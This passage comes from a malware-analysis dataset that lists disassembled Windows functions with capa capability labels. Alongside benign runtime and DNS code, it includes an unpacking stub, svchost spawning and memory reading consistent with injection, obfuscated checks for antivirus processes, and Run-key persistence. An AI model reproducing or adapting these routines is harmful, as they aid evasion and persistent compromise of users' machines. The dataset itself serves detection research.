joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ae053
Capabilities:
Link many functions at runtime

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x1400ae0a5
mov rdi, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400ae0a5
mov rsi, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rdi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400ae0a5
mov r14, rax
xor edi, edi
jmp 0x1400ae129
lea rcx, [0x140119e62]
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x1400ae193
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400ae193
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400ae193
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400ae193
mov rsi, rax
lea rcx, [rsp + 0x20]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x1400ae193
mov r14, qword [rsp + 0x20]
mov al, byte [0x140125ab8]
mov ecx, 0x18
mov edx, 8
call fcn.1400119c9
test rax, rax
je 0x1400ae1ad
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x1401256d8], rbx
je 0x1400ae186
mov rsi, rax
cmp qword [rbx], 0
je 0x1400ae171
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [0x140125790]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rsi
mov rax, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_C:Users29281.cargo_registry_srcindex.crates.io_6f17d22bba15001fparking_lot_core_0.9.9_src_thread_parkerwindowsmod.rs
lea r8, [0x1400e8958]
mov edx, 0x5b
call fcn.1400ae1be
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400abc30
ud2
Function at 0x1400aea90
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
mov ebx, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140013930
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x1400aeaf0
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
cmp qword [rsp + 0x38], 0
je 0x1400aeb7f
mov rcx, qword [0x140125790]
xor edx, edx
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400aeb4f
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x1400aeb62
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bx
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test r14, r14
je 0x1400aeb7f
mov rcx, qword [0x140125790]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140057760
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005776d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005777d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140057765
lea eax, [rcx + 1]
jmp 0x14005778b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005779e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140057784
sub eax, 3
jb 0x1400577be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005780d
sar eax, 1
movsxd rbp, eax
jb 0x1400577f4
jmp 0x1400577cc
add ebx, ebx
jne 0x1400577ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400577f4
inc ecx
add ebx, ebx
jne 0x1400577da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400577f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400577ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400577dc
add ecx, 2
jmp 0x1400577f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140057722
jmp 0x14005776d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140057859
cmp rsi, rcx
jae 0x140057861
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140057840
cmp al, 0x8f
ja 0x140057840
cmp byte [rsi - 2], 0xf
je 0x140057846
sub al, 0xe8
cmp al, 1
ja 0x14005782a
cmp rsi, rcx
jae 0x140057861
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140057830
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140057861
lodsb al, byte [rsi]
jmp 0x140057840
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x55000]
mov eax, dword [rdi]
or eax, eax
je 0x1400578be
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x65fb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005786e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400578b8
mov qword [rbx], rax
add rbx, 8
jmp 0x14005788e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400578f8
cmp al, 0xef
ja 0x1400578ea
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400578ca
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400578d9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005794c
sub rsp, 0xffffffffffffff80
jmp 0x14000b6f0
Function at 0x180001500
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov ebx, edx
mov eax, 0x55555556
mov r11, r8
imul edx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea edi, [rdx + 1]
test edi, edi
jle 0x180001681
mov qword [rsp + 0x10], rsi
lea r8, [rcx + 2]
lea r9, [r11 + 2]
mov esi, 0x2f
mov r10d, edi
nop dword [rax]
movzx ecx, byte [r8 - 2]
shr cl, 2
cmp cl, 0x19
ja 0x180001552
add cl, 0x41
jmp 0x180001581
lea eax, [rcx - 0x1a]
cmp al, 0x19
ja 0x18000155e
add cl, 0x47
jmp 0x180001581
lea eax, [rcx - 0x34]
cmp al, 9
ja 0x18000156a
sub cl, 4
jmp 0x180001581
cmp cl, 0x3e
jne 0x180001573
mov cl, reloc.ODBC32.dll_SQLGetData
jmp 0x180001581
cmp cl, 0x3f
mov eax, reloc.ODBC32.dll_SQLMoreResults
cmove eax, esi
movzx ecx, al
mov byte [r9 - 2], cl
movzx ecx, byte [r8 - 2]
movzx eax, byte [r8 - 1]
and cl, 3
shr al, 4
shl cl, 4
add cl, al
cmp cl, 0x19
ja 0x1800015a4
add cl, 0x41
jmp 0x1800015d3
lea eax, [rcx - 0x1a]
cmp al, 0x19
ja 0x1800015b0
add cl, 0x47
jmp 0x1800015d3
lea eax, [rcx - 0x34]
cmp al, 9
ja 0x1800015bc
sub cl, 4
jmp 0x1800015d3
cmp cl, 0x3e
jne 0x1800015c5
mov cl, reloc.ODBC32.dll_SQLGetData
jmp 0x1800015d3
cmp cl, 0x3f
mov eax, reloc.ODBC32.dll_SQLMoreResults
cmove eax, esi
movzx ecx, al
mov byte [r9 - 1], cl
movzx ecx, byte [r8 - 1]
movzx eax, byte [r8]
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
cmp cl, 0x19
ja 0x1800015f5
add cl, 0x41
jmp 0x180001624
lea eax, [rcx - 0x1a]
cmp al, 0x19
ja 0x180001601
add cl, 0x47
jmp 0x180001624
lea eax, [rcx - 0x34]
cmp al, 9
ja 0x18000160d
sub cl, 4
jmp 0x180001624
cmp cl, 0x3e
jne 0x180001616
mov cl, reloc.ODBC32.dll_SQLGetData
jmp 0x180001624
cmp cl, 0x3f
mov eax, reloc.ODBC32.dll_SQLMoreResults
cmove eax, esi
movzx ecx, al
mov byte [r9], cl
movzx ecx, byte [r8]
and cl, 0x3f
cmp cl, 0x19
ja 0x180001638
add cl, 0x41
jmp 0x180001667
lea eax, [rcx - 0x1a]
cmp al, 0x19
ja 0x180001644
add cl, 0x47
jmp 0x180001667
lea eax, [rcx - 0x34]
cmp al, 9
ja 0x180001650
sub cl, 4
jmp 0x180001667
cmp cl, 0x3e
jne 0x180001659
mov cl, reloc.ODBC32.dll_SQLGetData
jmp 0x180001667
cmp cl, 0x3f
mov eax, reloc.ODBC32.dll_SQLMoreResults
cmove eax, esi
movzx ecx, al
mov byte [r9 + 1], cl
add r9, 4
add r8, 3
dec r10
jne 0x180001540
mov rsi, qword [rsp + 0x10]
lea eax, [rdx + rdx*2]
sub ebx, eax
cmp ebx, 1
jne 0x180001698
movsxd rax, edx
mov word [r11 + rax*4 + 2], 0x3d3d
jmp 0x1800016a6
cmp ebx, 2
jne 0x1800016a8
movsxd rax, edx
mov byte [r11 + rax*4 + 3], reloc.ODBC32.dll_SQLMoreResults
mov edx, edi
mov rbx, qword [rsp + 0x18]
movsxd rax, edx
mov byte [r11 + rax*4], 0
lea eax, [rdx*4]
pop rdi
ret
Function at 0x180002360
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rbx, qword [0x180033c58]
xor esi, esi
lea r12d, [rsi + 1]
test rbx, rbx
jne 0x1800023cb
lea ecx, [rsi + 0x30]
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x1800023c1
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x28], rsi
mov qword [rax + 0x20], rsi
mov dword [rax + 0x10], esi
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx], rax
jmp 0x1800023c4
mov rbx, rsi
mov qword [0x180033c58], rbx
mov rdi, qword [rbx + 8]
cmp dword [rdi], 0x45534554
je 0x1800023e1
mov eax, reloc.ODBC32.dll_SQLFetch
jmp 0x18000256b
xor edx, edx
lea rcx, [rbp - 0x50]
lea r8d, [rdx + 0x68]
call fcn.1800252b0
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x18]
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], r12d
mov word [rbp - 0x10], r12w
call fcn.1800252b0
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x68], rsi
mov dword [rbp - 0x78], esi
call fcn.18001be10
lea rdx, str._SystemRoot__system32_svchost.exe
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rsi
mov qword [rsp + 0x78], rsi
mov dword [rsp + 0x68], esi
call fcn.18001c720
mov ecx, 0x1002
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x180002464
mov word [rax + 0x1000], si
mov r8, qword [rbp - 0x80]
lea rdx, str._s__d__d
mov r9d, 0xc9
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea r11, [rsp + 0x50]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], SQLAllocHandle
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1800024f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test rbx, rbx
je 0x1800024d6
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1800024e5
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1800024f3
call sub.KERNEL32.dll_LocalFree
mov eax, edi
jmp 0x18000256b
mov eax, dword [rdi + 0x20]
mov r9, qword [rdi + 0x18]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x20], eax
mov qword [rbp + 0x40], rsi
call fcn.18000a6a0
mov rcx, qword [rsp + 0x50]
mov edi, eax
test eax, eax
je 0x18000252e
mov edx, eax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1800024c9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x18000254c
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x18000255b
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x180002569
call sub.KERNEL32.dll_LocalFree
xor eax, eax
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x180005bd0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x40
mov rax, rdx
xor r9d, r9d
mov rbp, rcx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180005c28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbp, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
je 0x180005c76
mov edx, eax
mov rcx, rbp
call fcn.180005b40
mov ebx, eax
test eax, eax
jne 0x180005c7e
mov rdx, qword [rbp + 8]
lea r9, [rsp + 0x60]
mov r8d, esi
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180005c7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180005ca0
Capabilities:
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, rdx
mov rsi, rcx
mov edx, 0x80
mov rcx, rbx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180005d0a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov r8d, dword [rsi]
mov rdx, qword [rsi + 8]
lea r9, [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180005d30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov eax, edi
add rsp, 0x40
pop rdi
ret
Function at 0x1800067c0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
mov ecx, 0x1002
mov rdi, r8
mov r13, rdx
call fcn.1800251fc
mov rsi, rax
test rax, rax
je 0x1800067f2
mov word [rax + 0x1000], 0
mov rdx, qword [rdi]
lea rax, [rsp + 0x68]
mov r9d, 0x1000
mov r8, rsi
mov rcx, r12
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x180006836
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test rsi, rsi
je 0x18000682f
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov eax, ebx
jmp 0x180006925
mov eax, 0x5a4d
cmp ax, word [rsi]
je 0x180006852
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov eax, reloc.ODBC32.dll_SQLFetch
jmp 0x180006925
mov qword [rsp + 0x58], rbp
movsxd rbp, dword [rsi + 0x3c]
add rbp, rsi
cmp dword [rbp], 0x4550
je 0x180006879
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov eax, reloc.ODBC32.dll_SQLFetch
jmp 0x180006920
movzx eax, word [rbp + 0x14]
mov ebx, dword [rax + rbp + 0x24]
mov ecx, dword [rax + rbp + 0x20]
add rbx, qword [rdi]
call fcn.1800251fc
movzx ecx, word [rbp + 0x14]
mov r9d, dword [rcx + rbp + 0x20]
mov rdi, rax
lea rax, [rsp + 0x68]
mov r8, rdi
mov rdx, rbx
mov rcx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1800068ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov ebx, eax
call sub.KERNEL32.dll_LocalFree
mov eax, ebx
jmp 0x180006920
movzx eax, word [rbp + 0x14]
xor edx, edx
mov r8d, dword [rax + rbp + 0x20]
mov ecx, edx
test r8d, r8d
je 0x180006913
nop dword [rax]
cmp byte [rcx + rdi], 0xa3
jne 0x180006909
cmp byte [rcx + rdi + 5], 0xa3
jne 0x180006909
cmp byte [rcx + rdi + 0xa], 0xa3
jne 0x180006909
cmp byte [rcx + rdi + 0xf], 0xa3
jne 0x180006909
cmp byte [rcx + rdi + 0x14], 0xa3
jne 0x180006909
cmp byte [rcx + rdi + 0x19], 0xe8
je 0x180006939
inc edx
inc rcx
cmp edx, r8d
jb 0x1800068e0
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov eax, 0x490
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret
mov eax, edx
mov ecx, dword [rax + rdi + 0x15]
mov qword [r13], rcx
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
xor eax, eax
jmp 0x180006920
Function at 0x180006950
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
xor edi, edi
call fcn.18002b6f0
mov rax, qword [0x180037900]
mov dword [rsp + 0x20], 0x238
test rax, rax
jne 0x1800069c4
mov rax, qword [0x1800378f0]
test rax, rax
jne 0x1800069ad
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800378f0], rax
lea rdx, str.CreateToolhelp32Snapshot
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037900], rax
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800069db
or eax, eax
jmp 0x180006aa4
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180006a5a
nop dword [rax]
mov rax, qword [0x180037910]
test rax, rax
jne 0x180006a33
mov rax, qword [0x1800378f0]
test rax, rax
jne 0x180006a1c
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800378f0], rax
lea rdx, [0x18002cea0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037910], rax
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call rax
test eax, eax
je 0x180006a55
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800069f0
jmp 0x180006a5a
mov edi, 1
mov rax, qword [0x180037908]
test rax, rax
jne 0x180006a9d
mov rax, qword [0x1800378f0]
test rax, rax
jne 0x180006a86
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800378f0], rax
lea rdx, [0x18002ce90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037908], rax
mov rcx, rbx
call rax
mov eax, edi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180006ac0
Capabilities:
Accept command line arguments
Check os version
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov eax, 0x61
mov ebx, ecx
lea rcx, [rsp + 0x60]
mov word [rsp + 0x20], ax
mov eax, 0x76
mov dword [rsp + 0x60], 0x11c
mov word [rsp + 0x22], ax
mov eax, 0x4e
mov dword [rsp + 0x24], 0x2e0070
mov word [rsp + 0x30], ax
mov eax, SQLExecDirectW
mov dword [rsp + 0x28], 0x780065
mov word [rsp + 0x3a], ax
mov eax, 0x63
mov dword [rsp + 0x2c], 0x65
mov dword [rsp + 0x32], 0x72006f
mov dword [rsp + 0x36], 0x6f0074
mov dword [rsp + 0x3c], 0x650053
mov word [rsp + 0x40], ax
mov dword [rsp + 0x42], 0x720075
mov dword [rsp + 0x46], 0x740069
mov dword [rsp + 0x4a], 0x2e0079
mov dword [rsp + 0x4e], 0x780065
mov dword [rsp + 0x52], 0x65
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x180006b8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
mov eax, dword [rsp + 0x64]
cmp eax, 5
je 0x180006bb5
cmp eax, 6
je 0x180006bb5
cmp eax, 0xa
je 0x180006bb5
mov eax, 0x32
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
lea rcx, [rbp + 0x98]
call fcn.18001c800
test eax, eax
jne 0x180006bd1
cmp dword [rbp + 0x98], eax
je 0x180006c88
lea rcx, [rbp + 0x98]
call fcn.18001c950
test eax, eax
jne 0x180006ca0
cmp dword [rbp + 0x98], eax
je 0x180006ca0
mov eax, dword [rsp + 0x64]
cmp eax, 6
je 0x180006c07
cmp eax, 0xa
je 0x180006c07
mov ecx, dword [rbp + 0x98]
jmp 0x180006c27
lea rcx, [rbp + 0x98]
call fcn.18001cb30
mov ecx, dword [rbp + 0x98]
mov edx, 1
test eax, eax
mov eax, dword [rsp + 0x64]
cmovne ecx, edx
cmp eax, 6
je 0x180006c31
cmp eax, 0xa
jne 0x180006c88
test ecx, ecx
je 0x180006c88
lea rcx, [rbp + 0x98]
call fcn.18001cbe0
test eax, eax
jne 0x180006ca0
cmp dword [rbp + 0x98], eax
jne 0x180006ca0
lea rcx, [rsp + 0x20]
call fcn.180006950
test eax, eax
jne 0x180006ca0
lea rcx, [rsp + 0x30]
call fcn.180006950
test eax, eax
jne 0x180006ca0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
call fcn.1800079b0
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
mov ecx, ebx
call fcn.180006cc0
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
mov ecx, ebx
call fcn.180006ff0
mov rbx, qword [rsp + 0x190]
add rsp, 0x180
pop rbp
ret
Function at 0x180006ff0
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x100
xor ebp, ebp
mov esi, ecx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x60], rbp
mov dword [rsp + 0x50], ebp
call fcn.18001c0d0
mov ecx, 0x1002
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x180007041
mov word [rax + 0x1000], bp
mov r8, qword [rsp + 0x68]
lea rdx, str.__s___d__d
mov r9d, 0xc8
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.USER32.dll_wsprintfW]
cmp qword [0x180033c68], rbp
mov edi, eax
jne 0x180007091
mov ecx, 0x1994
call fcn.1800251fc
test rax, rax
je 0x18000708a
mov dword [rax + 0x1990], ebp
mov qword [0x180033c68], rax
jmp 0x180007091
mov qword [0x180033c68], rbp
lea eax, [rdi + rdi]
lea r8, [0x180036dcc]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9, rbx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
call fcn.18001cdf0
mov edi, eax
test eax, eax
je 0x1800070e6
test rbx, rbx
je 0x1800070d0
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1800070df
call sub.KERNEL32.dll_LocalFree
mov eax, edi
jmp 0x180007197
xor edx, edx
lea rcx, [rsp + 0x90]
lea r8d, [rdx + 0x68]
call fcn.1800252b0
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x18]
mov dword [rsp + 0x90], SQLExecDirectW
mov dword [rsp + 0xcc], 1
mov word [rsp + 0xd0], bp
call fcn.1800252b0
lea r11, [rsp + 0x70]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x90]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180007172
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1800070c3
mov ecx, esi
call fcn.1800071b0
test rbx, rbx
je 0x180007186
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x180007195
call sub.KERNEL32.dll_LocalFree
xor eax, eax
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
